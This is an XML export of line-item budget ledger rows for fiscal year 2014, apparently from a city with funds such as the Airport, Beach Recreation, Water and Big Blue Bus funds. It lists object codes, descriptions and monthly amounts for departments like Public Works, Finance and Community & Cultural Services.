<row _id="8975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402460.0</object><object_description>TENANT UTILITIES PAYMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-147492.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-147492.0</total></row>
<row _id="8976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400580.0</object><object_description>FILMING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-146334.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-146334.0</total></row>
<row _id="8977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>809.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>809.0</total></row>
<row _id="8978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3479.0</total></row>
<row _id="8979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10900.0</total></row>
<row _id="8980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544015.0</object><object_description>FIELD EQUIP &amp; TOOLS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="8981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544012.0</object><object_description>MEMBRANE REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>271940.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>271940.0</total></row>
<row _id="8982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>301546.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>301546.0</total></row>
<row _id="8983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555016.0</object><object_description>OUTSIDE REPAIRS-HZRDOUS WASTE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>93788.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93788.0</total></row>
<row _id="8984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="8985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>408130.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>405140.0</object><object_description>415 PCH - CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-172000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-172000.0</total></row>
<row _id="8987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1094.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1094.0</total></row>
<row _id="8988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26000.0</total></row>
<row _id="8989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>75000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="8990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="8991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>133372.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>133372.0</total></row>
<row _id="8992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>39671.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39671.0</total></row>
<row _id="8993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13036.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13036.0</total></row>
<row _id="8994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1042.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1042.0</total></row>
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<row _id="8996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>80000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="8997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>533220.0</object><object_description>BUILDING / STRUCTURE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="8998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1758.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1758.0</total></row>
<row _id="8999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1561.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1561.0</total></row>
<row _id="9000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>417.0</total></row>
<row _id="9001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>44794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44794.0</total></row>
<row _id="9002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>569300.0</object><object_description>BIKE VALET-PROP C LOCAL RETURN</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>409140.0</object><object_description>PASSPORT SERV APPLICATIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-14600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14600.0</total></row>
<row _id="9004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561112.0</object><object_description>CLARE COORDINATED CASE MGMT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4130.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4130.0</total></row>
<row _id="9005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561117.0</object><object_description>ST JOSEPH CENTER HPSHP-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8180.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8180.0</total></row>
<row _id="9006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544160.0</object><object_description>RIDESHARE PROGRAM</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579340.0</object><object_description>TRANS-IN-17FD-S.A. ADMIN.</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579350.0</object><object_description>TRANS-IN-17FD-COLLECT.BARG.</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408530.0</object><object_description>MEMORIAL PARK SUST COMM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11666.0</total></row>
<row _id="9012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>144654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>144654.0</total></row>
<row _id="9013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100774.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100774.0</total></row>
<row _id="9014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15299.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15299.0</total></row>
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<row _id="9016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6666.0</total></row>
<row _id="9017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18500.0</total></row>
<row _id="9018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>76247.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>76247.0</total></row>
<row _id="9019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>298373.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>298373.0</total></row>
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<row _id="9021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>211276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>211276.0</total></row>
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<row _id="9023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1289255.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1289255.0</total></row>
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<row _id="9028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
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<row _id="9032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>402920.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="9033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4600.0</total></row>
